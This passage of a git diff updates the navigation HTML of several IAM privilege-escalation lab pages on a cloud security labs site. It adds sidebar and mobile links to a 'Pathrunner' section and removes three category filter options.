                     <a href="/labs/" class="mobile-nav-link mobile-nav-child">Labs Catalog</a>
                     <a href="/labs/getting-started/" class="mobile-nav-link mobile-nav-child">Getting Started</a>
                 </div>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Pathrunner</span>
+                    <a href="/pathrunner/" class="mobile-nav-link mobile-nav-child">Overview</a>
+                    <a href="/pathrunner/getting-started" class="mobile-nav-link mobile-nav-child">Getting Started</a>
+                    <a href="/pathrunner/commands" class="mobile-nav-link mobile-nav-child">Commands</a>
+                    <a href="/pathrunner/modules" class="mobile-nav-link mobile-nav-child">Exploit Modules</a>
+                    <a href="/pathrunner/payloads" class="mobile-nav-link mobile-nav-child">Payloads</a>
+                </div>
             </nav>
         </div>
     </div>
@@ -197,6 +206,37 @@
                     </a>
                 </div>
             </div>
+
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-pathrunner">
+                <button class="sidebar-group-toggle" data-tooltip="Pathrunner">
+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                    <span class="sidebar-label">Pathrunner</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
+                    <a href="/pathrunner/" class="sidebar-item sidebar-child" data-tooltip="Overview">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="3" width="7" height="7"/><rect x="14" y="3" width="7" height="7"/><rect x="14" y="14" width="7" height="7"/><rect x="3" y="14" width="7" height="7"/></svg>
+                        <span class="sidebar-label">Overview</span>
+                    </a>
+                    <a href="/pathrunner/getting-started" class="sidebar-item sidebar-child" data-tooltip="Getting Started">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><polygon points="16.24 7.76 14.12 14.12 7.76 16.24 9.88 9.88 16.24 7.76"/></svg>
+                        <span class="sidebar-label">Getting Started</span>
+                    </a>
+                    <a href="/pathrunner/commands" class="sidebar-item sidebar-child" data-tooltip="Commands">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                        <span class="sidebar-label">Commands</span>
+                    </a>
+                    <a href="/pathrunner/modules" class="sidebar-item sidebar-child" data-tooltip="Exploit Modules">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 16V8a2 2 0 0 0-1-1.73l-7-4a2 2 0 0 0-2 0l-7 4A2 2 0 0 0 3 8v8a2 2 0 0 0 1 1.73l7 4a2 2 0 0 0 2 0l7-4A2 2 0 0 0 21 16z"/><polyline points="3.27 6.96 12 12.01 20.73 6.96"/><line x1="12" y1="22.08" x2="12" y2="12"/></svg>
+                        <span class="sidebar-label">Exploit Modules</span>
+                    </a>
+                    <a href="/pathrunner/payloads" class="sidebar-item sidebar-child" data-tooltip="Payloads">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M12 2L2 7l10 5 10-5-10-5z"/><polyline points="2 17 12 22 22 17"/><polyline points="2 12 12 17 22 12"/></svg>
+                        <span class="sidebar-label">Payloads</span>
+                    </a>
+                </div>
+            </div>
         </nav>
 
         <button id="sidebar-collapse-toggle" class="sidebar-collapse-btn" data-tooltip="Collapse">
@@ -331,18 +371,12 @@
                     <div class="filter-pill-item" data-value="Privilege Escalation">Privilege Escalation</div>
                     <div class="filter-pill-item" data-value="CSPM: Misconfig">CSPM: Misconfig</div>
                     <div class="filter-pill-item" data-value="CSPM: Toxic Combination">Toxic Combination</div>
-                    <div class="filter-pill-item" data-value="Tool Testing">Tool Testing</div>
-                    <div class="filter-pill-item" data-value="CTF">CTF</div>
-                    <div class="filter-pill-item" data-value="Attack Simulation">Attack Simulation</div>
                 </div>
                 <select id="category-filter" hidden>
                     <option value="">All Categories</option>
                     <option value="Privilege Escalation">Privilege Escalation</option>
                     <option value="CSPM: Misconfig">CSPM Misconfiguration</option>
                     <option value="CSPM: Toxic Combination">Toxic Combination</option>
-                    <option value="Tool Testing">Tool Testing</option>
-                    <option value="CTF">CTF</option>
-                    <option value="Attack Simulation">Attack Simulation</option>
                 </select>
             </div>
 
@@ -355,7 +389,6 @@
                     <div class="filter-pill-item" data-value="one-hop">One-Hop</div>
                     <div class="filter-pill-item" data-value="multi-hop">Multi-Hop</div>
                     <div class="filter-pill-item" data-value="cross-account">Cross-Account</div>
-                    <div class="filter-pill-item" data-value="attack-simulation">Attack Simulation</div>
                 </div>
                 <select id="path-type-filter" hidden>
                     <option value="">All Types</option>
@@ -363,7 +396,6 @@
                     <option value="one-hop">One-Hop</option>
                     <option value="multi-hop">Multi-Hop</option>
                     <option value="cross-account">Cross-Account</option>
-                    <option value="attack-simulation">Attack Simulation</option>
                 </select>
             </div>
 
diff --git a/docs/labs/iam-002/index.html b/docs/labs/iam-002/index.html
index 0982c5e9..288dbacc 100644
--- a/docs/labs/iam-002/index.html
+++ b/docs/labs/iam-002/index.html
@@ -91,6 +91,7 @@
                     </div>
                 </div>
                 <a href="/labs/" class="nav-link active">Labs</a>
+                <a href="/pathrunner/" class="nav-link">Pathrunner</a>
             </nav>
             <div class="header-right">
                 <a href="https://securitylabs.datadoghq.com" target="_blank" class="datadog-logo-link" aria-label="Visit Datadog Security Labs">
@@ -149,6 +150,14 @@
                     <a href="/labs/" class="mobile-nav-link mobile-nav-child">Labs Catalog</a>
                     <a href="/labs/getting-started/" class="mobile-nav-link mobile-nav-child">Getting Started</a>
                 </div>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Pathrunner</span>
+                    <a href="/pathrunner/" class="mobile-nav-link mobile-nav-child">Overview</a>
+                    <a href="/pathrunner/getting-started" class="mobile-nav-link mobile-nav-child">Getting Started</a>
+                    <a href="/pathrunner/commands" class="mobile-nav-link mobile-nav-child">Commands</a>
+                    <a href="/pathrunner/modules" class="mobile-nav-link mobile-nav-child">Exploit Modules</a>
+                    <a href="/pathrunner/payloads" class="mobile-nav-link mobile-nav-child">Payloads</a>
+                </div>
             </nav>
         </div>
     </div>
@@ -197,6 +206,37 @@
                     </a>
                 </div>
             </div>
+
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-pathrunner">
+                <button class="sidebar-group-toggle" data-tooltip="Pathrunner">
+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                    <span class="sidebar-label">Pathrunner</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
+                    <a href="/pathrunner/" class="sidebar-item sidebar-child" data-tooltip="Overview">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="3" width="7" height="7"/><rect x="14" y="3" width="7" height="7"/><rect x="14" y="14" width="7" height="7"/><rect x="3" y="14" width="7" height="7"/></svg>
+                        <span class="sidebar-label">Overview</span>
+                    </a>
+                    <a href="/pathrunner/getting-started" class="sidebar-item sidebar-child" data-tooltip="Getting Started">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><polygon points="16.24 7.76 14.12 14.12 7.76 16.24 9.88 9.88 16.24 7.76"/></svg>
+                        <span class="sidebar-label">Getting Started</span>
+                    </a>
+                    <a href="/pathrunner/commands" class="sidebar-item sidebar-child" data-tooltip="Commands">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                        <span class="sidebar-label">Commands</span>
+                    </a>
+                    <a href="/pathrunner/modules" class="sidebar-item sidebar-child" data-tooltip="Exploit Modules">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 16V8a2 2 0 0 0-1-1.73l-7-4a2 2 0 0 0-2 0l-7 4A2 2 0 0 0 3 8v8a2 2 0 0 0 1 1.73l7 4a2 2 0 0 0 2 0l7-4A2 2 0 0 0 21 16z"/><polyline points="3.27 6.96 12 12.01 20.73 6.96"/><line x1="12" y1="22.08" x2="12" y2="12"/></svg>
+                        <span class="sidebar-label">Exploit Modules</span>
+                    </a>
+                    <a href="/pathrunner/payloads" class="sidebar-item sidebar-child" data-tooltip="Payloads">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M12 2L2 7l10 5 10-5-10-5z"/><polyline points="2 17 12 22 22 17"/><polyline points="2 12 12 17 22 12"/></svg>
+                        <span class="sidebar-label">Payloads</span>
+                    </a>
+                </div>
+            </div>
         </nav>
 
         <button id="sidebar-collapse-toggle" class="sidebar-collapse-btn" data-tooltip="Collapse">
@@ -331,18 +371,12 @@
                     <div class="filter-pill-item" data-value="Privilege Escalation">Privilege Escalation</div>
                     <div class="filter-pill-item" data-value="CSPM: Misconfig">CSPM: Misconfig</div>
                     <div class="filter-pill-item" data-value="CSPM: Toxic Combination">Toxic Combination</div>
-                    <div class="filter-pill-item" data-value="Tool Testing">Tool Testing</div>
-                    <div class="filter-pill-item" data-value="CTF">CTF</div>
-                    <div class="filter-pill-item" data-value="Attack Simulation">Attack Simulation</div>
                 </div>
                 <select id="category-filter" hidden>
                     <option value="">All Categories</option>
                     <option value="Privilege Escalation">Privilege Escalation</option>
                     <option value="CSPM: Misconfig">CSPM Misconfiguration</option>
                     <option value="CSPM: Toxic Combination">Toxic Combination</option>
-                    <option value="Tool Testing">Tool Testing</option>
-                    <option value="CTF">CTF</option>
-                    <option value="Attack Simulation">Attack Simulation</option>
                 </select>
             </div>
 
@@ -355,7 +389,6 @@
                     <div class="filter-pill-item" data-value="one-hop">One-Hop</div>
                     <div class="filter-pill-item" data-value="multi-hop">Multi-Hop</div>
                     <div class="filter-pill-item" data-value="cross-account">Cross-Account</div>
-                    <div class="filter-pill-item" data-value="attack-simulation">Attack Simulation</div>
                 </div>
                 <select id="path-type-filter" hidden>
                     <option value="">All Types</option>
@@ -363,7 +396,6 @@
                     <option value="one-hop">One-Hop</option>
                     <option value="multi-hop">Multi-Hop</option>
                     <option value="cross-account">Cross-Account</option>
-                    <option value="attack-simulation">Attack Simulation</option>
                 </select>
             </div>
 
diff --git a/docs/labs/iam-003-to-bucket/index.html b/docs/labs/iam-003-to-bucket/index.html
index a2517a36..817f2594 100644
--- a/docs/labs/iam-003-to-bucket/index.html
+++ b/docs/labs/iam-003-to-bucket/index.html
@@ -91,6 +91,7 @@
                     </div>
                 </div>
                 <a href="/labs/" class="nav-link active">Labs</a>
+                <a href="/pathrunner/" class="nav-link">Pathrunner</a>
             </nav>
             <div class="header-right">
                 <a href="https://securitylabs.datadoghq.com" target="_blank" class="datadog-logo-link" aria-label="Visit Datadog Security Labs">
@@ -149,6 +150,14 @@
                     <a href="/labs/" class="mobile-nav-link mobile-nav-child">Labs Catalog</a>
                     <a href="/labs/getting-started/" class="mobile-nav-link mobile-nav-child">Getting Started</a>
                 </div>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Pathrunner</span>
+                    <a href="/pathrunner/" class="mobile-nav-link mobile-nav-child">Overview</a>
+                    <a href="/pathrunner/getting-started" class="mobile-nav-link mobile-nav-child">Getting Started</a>
+                    <a href="/pathrunner/commands" class="mobile-nav-link mobile-nav-child">Commands</a>
+                    <a href="/pathrunner/modules" class="mobile-nav-link mobile-nav-child">Exploit Modules</a>
+                    <a href="/pathrunner/payloads" class="mobile-nav-link mobile-nav-child">Payloads</a>
+                </div>
             </nav>
         </div>
     </div>
@@ -197,6 +206,37 @@
                     </a>
                 </div>
             </div>
+
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-pathrunner">
+                <button class="sidebar-group-toggle" data-tooltip="Pathrunner">
+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                    <span class="sidebar-label">Pathrunner</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
+                    <a href="/pathrunner/" class="sidebar-item sidebar-child" data-tooltip="Overview">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="3" width="7" height="7"/><rect x="14" y="3" width="7" height="7"/><rect x="14" y="14" width="7" height="7"/><rect x="3" y="14" width="7" height="7"/></svg>
+                        <span class="sidebar-label">Overview</span>
+                    </a>
+                    <a href="/pathrunner/getting-started" class="sidebar-item sidebar-child" data-tooltip="Getting Started">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><polygon points="16.24 7.76 14.12 14.12 7.76 16.24 9.88 9.88 16.24 7.76"/></svg>
+                        <span class="sidebar-label">Getting Started</span>
+                    </a>
+                    <a href="/pathrunner/commands" class="sidebar-item sidebar-child" data-tooltip="Commands">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                        <span class="sidebar-label">Commands</span>
+                    </a>
+                    <a href="/pathrunner/modules" class="sidebar-item sidebar-child" data-tooltip="Exploit Modules">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 16V8a2 2 0 0 0-1-1.73l-7-4a2 2 0 0 0-2 0l-7 4A2 2 0 0 0 3 8v8a2 2 0 0 0 1 1.73l7 4a2 2 0 0 0 2 0l7-4A2 2 0 0 0 21 16z"/><polyline points="3.27 6.96 12 12.01 20.73 6.96"/><line x1="12" y1="22.08" x2="12" y2="12"/></svg>
+                        <span class="sidebar-label">Exploit Modules</span>
+                    </a>
+                    <a href="/pathrunner/payloads" class="sidebar-item sidebar-child" data-tooltip="Payloads">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M12 2L2 7l10 5 10-5-10-5z"/><polyline points="2 17 12 22 22 17"/><polyline points="2 12 12 17 22 12"/></svg>
+                        <span class="sidebar-label">Payloads</span>
+                    </a>
+                </div>
+            </div>
         </nav>
 
         <button id="sidebar-collapse-toggle" class="sidebar-collapse-btn" data-tooltip="Collapse">
@@ -331,18 +371,12 @@
                     <div class="filter-pill-item" data-value="Privilege Escalation">Privilege Escalation</div>
                     <div class="filter-pill-item" data-value="CSPM: Misconfig">CSPM: Misconfig</div>
                     <div class="filter-pill-item" data-value="CSPM: Toxic Combination">Toxic Combination</div>
-                    <div class="filter-pill-item" data-value="Tool Testing">Tool Testing</div>
-                    <div class="filter-pill-item" data-value="CTF">CTF</div>
-                    <div class="filter-pill-item" data-value="Attack Simulation">Attack Simulation</div>
                 </div>
                 <select id="category-filter" hidden>
                     <option value="">All Categories</option>
                     <option value="Privilege Escalation">Privilege Escalation</option>
                     <option value="CSPM: Misconfig">CSPM Misconfiguration</option>
                     <option value="CSPM: Toxic Combination">Toxic Combination</option>
-                    <option value="Tool Testing">Tool Testing</option>
-                    <option value="CTF">CTF</option>
-                    <option value="Attack Simulation">Attack Simulation</option>
                 </select>
             </div>
 
@@ -355,7 +389,6 @@
                     <div class="filter-pill-item" data-value="one-hop">One-Hop</div>
                     <div class="filter-pill-item" data-value="multi-hop">Multi-Hop</div>
                     <div class="filter-pill-item" data-value="cross-account">Cross-Account</div>
-                    <div class="filter-pill-item" data-value="attack-simulation">Attack Simulation</div>
                 </div>
                 <select id="path-type-filter" hidden>
                     <option value="">All Types</option>
@@ -363,7 +396,6 @@
                     <option value="one-hop">One-Hop</option>
                     <option value="multi-hop">Multi-Hop</option>
                     <option value="cross-account">Cross-Account</option>
-                    <option value="attack-simulation">Attack Simulation</option>
                 </select>
             </div>
 
diff --git a/docs/labs/iam-003/index.html b/docs/labs/iam-003/index.html
index 4f3c4f71..545bca3e 100644
--- a/docs/labs/iam-003/index.html
+++ b/docs/labs/iam-003/index.html
@@ -91,6 +91,7 @@
                     </div>
                 </div>
                 <a href="/labs/" class="nav-link active">Labs</a>
+                <a href="/pathrunner/" class="nav-link">Pathrunner</a>
             </nav>
             <div class="header-right">
                 <a href="https://securitylabs.datadoghq.com" target="_blank" class="datadog-logo-link" aria-label="Visit Datadog Security Labs">
@@ -149,6 +150,14 @@
                     <a href="/labs/" class="mobile-nav-link mobile-nav-child">Labs Catalog</a>
                     <a href="/labs/getting-started/" class="mobile-nav-link mobile-nav-child">Getting Started</a>
                 </div>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Pathrunner</span>
+                    <a href="/pathrunner/" class="mobile-nav-link mobile-nav-child">Overview</a>
+                    <a href="/pathrunner/getting-started" class="mobile-nav-link mobile-nav-child">Getting Started</a>
+                    <a href="/pathrunner/commands" class="mobile-nav-link mobile-nav-child">Commands</a>
+                    <a href="/pathrunner/modules" class="mobile-nav-link mobile-nav-child">Exploit Modules</a>
+                    <a href="/pathrunner/payloads" class="mobile-nav-link mobile-nav-child">Payloads</a>
+                </div>
             </nav>
         </div>
     </div>
@@ -197,6 +206,37 @@
                     </a>
                 </div>
             </div>
+
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-pathrunner">
+                <button class="sidebar-group-toggle" data-tooltip="Pathrunner">
+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                    <span class="sidebar-label">Pathrunner</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
+                    <a href="/pathrunner/" class="sidebar-item sidebar-child" data-tooltip="Overview">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="3" width="7" height="7"/><rect x="14" y="3" width="7" height="7"/><rect x="14" y="14" width="7" height="7"/><rect x="3" y="14" width="7" height="7"/></svg>
+                        <span class="sidebar-label">Overview</span>
+                    </a>
+                    <a href="/pathrunner/getting-started" class="sidebar-item sidebar-child" data-tooltip="Getting Started">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><polygon points="16.24 7.76 14.12 14.12 7.76 16.24 9.88 9.88 16.24 7.76"/></svg>
+                        <span class="sidebar-label">Getting Started</span>
+                    </a>
+                    <a href="/pathrunner/commands" class="sidebar-item sidebar-child" data-tooltip="Commands">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                        <span class="sidebar-label">Commands</span>
+                    </a>
+                    <a href="/pathrunner/modules" class="sidebar-item sidebar-child" data-tooltip="Exploit Modules">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 16V8a2 2 0 0 0-1-1.73l-7-4a2 2 0 0 0-2 0l-7 4A2 2 0 0 0 3 8v8a2 2 0 0 0 1 1.73l7 4a2 2 0 0 0 2 0l7-4A2 2 0 0 0 21 16z"/><polyline points="3.27 6.96 12 12.01 20.73 6.96"/><line x1="12" y1="22.08" x2="12" y2="12"/></svg>
+                        <span class="sidebar-label">Exploit Modules</span>
+                    </a>
+                    <a href="/pathrunner/payloads" class="sidebar-item sidebar-child" data-tooltip="Payloads">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M12 2L2 7l10 5 10-5-10-5z"/><polyline points="2 17 12 22 22 17"/><polyline points="2 12 12 17 22 12"/></svg>
+                        <span class="sidebar-label">Payloads</span>
+                    </a>
+                </div>
+            </div>
         </nav>
 
         <button id="sidebar-collapse-toggle" class="sidebar-collapse-btn" data-tooltip="Collapse">
@@ -331,18 +371,12 @@
                     <div class="filter-pill-item" data-value="Privilege Escalation">Privilege Escalation</div>
                     <div class="filter-pill-item" data-value="CSPM: Misconfig">CSPM: Misconfig</div>
                     <div class="filter-pill-item" data-value="CSPM: Toxic Combination">Toxic Combination</div>
-                    <div class="filter-pill-item" data-value="Tool Testing">Tool Testing</div>
-                    <div class="filter-pill-item" data-value="CTF">CTF</div>
-                    <div class="filter-pill-item" data-value="Attack Simulation">Attack Simulation</div>
                 </div>
                 <select id="category-filter" hidden>
                     <option value="">All Categories</option>
                     <option value="Privilege Escalation">Privilege Escalation</option>
                     <option value="CSPM: Misconfig">CSPM Misconfiguration</option>
                     <option value="CSPM: Toxic Combination">Toxic Combination</option>
-                    <option value="Tool Testing">Tool Testing</option>
-                    <option value="CTF">CTF</option>
-                    <option value="Attack Simulation">Attack Simulation</option>
                 </select>
             </div>
 
@@ -355,7 +389,6 @@
                     <div class="filter-pill-item" data-value="one-hop">One-Hop</div>
                     <div class="filter-pill-item" data-value="multi-hop">Multi-Hop</div>
                     <div class="filter-pill-item" data-value="cross-account">Cross-Account</div>
-                    <div class="filter-pill-item" data-value="attack-simulation">Attack Simulation</div>
                 </div>
                 <select id="path-type-filter" hidden>
                     <option value="">All Types</option>
@@ -363,7 +396,6 @@
                     <option value="one-hop">One-Hop</option>
                     <option value="multi-hop">Multi-Hop</option>
                     <option value="cross-account">Cross-Account</option>
-                    <option value="attack-simulation">Attack Simulation</option>
                 </select>
             </div>
 
diff --git a/docs/labs/iam-004-to-bucket/index.html b/docs/labs/iam-004-to-bucket/index.html
index 20c2f9b2..fbfb7a35 100644
--- a/docs/labs/iam-004-to-bucket/index.html
+++ b/docs/labs/iam-004-to-bucket/index.html
@@ -91,6 +91,7 @@
                     </div>
                 </div>
                 <a href="/labs/" class="nav-link active">Labs</a>
+                <a href="/pathrunner/" class="nav-link">Pathrunner</a>
             </nav>
             <div class="header-right">
                 <a href="https://securitylabs.datadoghq.com" target="_blank" class="datadog-logo-link" aria-label="Visit Datadog Security Labs">
@@ -149,6 +150,14 @@
                     <a href="/labs/" class="mobile-nav-link mobile-nav-child">Labs Catalog</a>
                     <a href="/labs/getting-started/" class="mobile-nav-link mobile-nav-child">Getting Started</a>
                 </div>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Pathrunner</span>
+                    <a href="/pathrunner/" class="mobile-nav-link mobile-nav-child">Overview</a>
+                    <a href="/pathrunner/getting-started" class="mobile-nav-link mobile-nav-child">Getting Started</a>
+                    <a href="/pathrunner/commands" class="mobile-nav-link mobile-nav-child">Commands</a>
+                    <a href="/pathrunner/modules" class="mobile-nav-link mobile-nav-child">Exploit Modules</a>
+                    <a href="/pathrunner/payloads" class="mobile-nav-link mobile-nav-child">Payloads</a>
+                </div>
             </nav>
         </div>
     </div>
@@ -197,6 +206,37 @@
                     </a>
                 </div>
             </div>
+
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-pathrunner">
+                <button class="sidebar-group-toggle" data-tooltip="Pathrunner">
+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                    <span class="sidebar-label">Pathrunner</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
+                    <a href="/pathrunner/" class="sidebar-item sidebar-child" data-tooltip="Overview">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="3" width="7" height="7"/><rect x="14" y="3" width="7" height="7"/><rect x="14" y="14" width="7" height="7"/><rect x="3" y="14" width="7" height="7"/></svg>
+                        <span class="sidebar-label">Overview</span>
+                    </a>
+                    <a href="/pathrunner/getting-started" class="sidebar-item sidebar-child" data-tooltip="Getting Started">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><polygon points="16.24 7.76 14.12 14.12 7.76 16.24 9.88 9.88 16.24 7.76"/></svg>
+                        <span class="sidebar-label">Getting Started</span>
+                    </a>
+                    <a href="/pathrunner/commands" class="sidebar-item sidebar-child" data-tooltip="Commands">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                        <span class="sidebar-label">Commands</span>
+                    </a>
+                    <a href="/pathrunner/modules" class="sidebar-item sidebar-child" data-tooltip="Exploit Modules">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 16V8a2 2 0 0 0-1-1.73l-7-4a2 2 0 0 0-2 0l-7 4A2 2 0 0 0 3 8v8a2 2 0 0 0 1 1.73l7 4a2 2 0 0 0 2 0l7-4A2 2 0 0 0 21 16z"/><polyline points="3.27 6.96 12 12.01 20.73 6.96"/><line x1="12" y1="22.08" x2="12" y2="12"/></svg>
+                        <span class="sidebar-label">Exploit Modules</span>
+                    </a>
+                    <a href="/pathrunner/payloads" class="sidebar-item sidebar-child" data-tooltip="Payloads">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M12 2L2 7l10 5 10-5-10-5z"/><polyline points="2 17 12 22 22 17"/><polyline points="2 12 12 17 22 12"/></svg>
+                        <span class="sidebar-label">Payloads</span>
+                    </a>
+                </div>
+            </div>
         </nav>
 
         <button id="sidebar-collapse-toggle" class="sidebar-collapse-btn" data-tooltip="Collapse">
@@ -331,18 +371,12 @@
                     <div class="filter-pill-item" data-value="Privilege Escalation">Privilege Escalation</div>
                     <div class="filter-pill-item" data-value="CSPM: Misconfig">CSPM: Misconfig</div>
                     <div class="filter-pill-item" data-value="CSPM: Toxic Combination">Toxic Combination</div>
-                    <div class="filter-pill-item" data-value="Tool Testing">Tool Testing</div>
-                    <div class="filter-pill-item" data-value="CTF">CTF</div>
-                    <div class="filter-pill-item" data-value="Attack Simulation">Attack Simulation</div>
                 </div>
                 <select id="category-filter" hidden>
                     <option value="">All Categories</option>
                     <option value="Privilege Escalation">Privilege Escalation</option>
                     <option value="CSPM: Misconfig">CSPM Misconfiguration</option>
                     <option value="CSPM: Toxic Combination">Toxic Combination</option>
-                    <option value="Tool Testing">Tool Testing</option>
-                    <option value="CTF">CTF</option>
-                    <option value="Attack Simulation">Attack Simulation</option>
                 </select>
             </div>
 
@@ -355,7 +389,6 @@
                     <div class="filter-pill-item" data-value="one-hop">One-Hop</div>
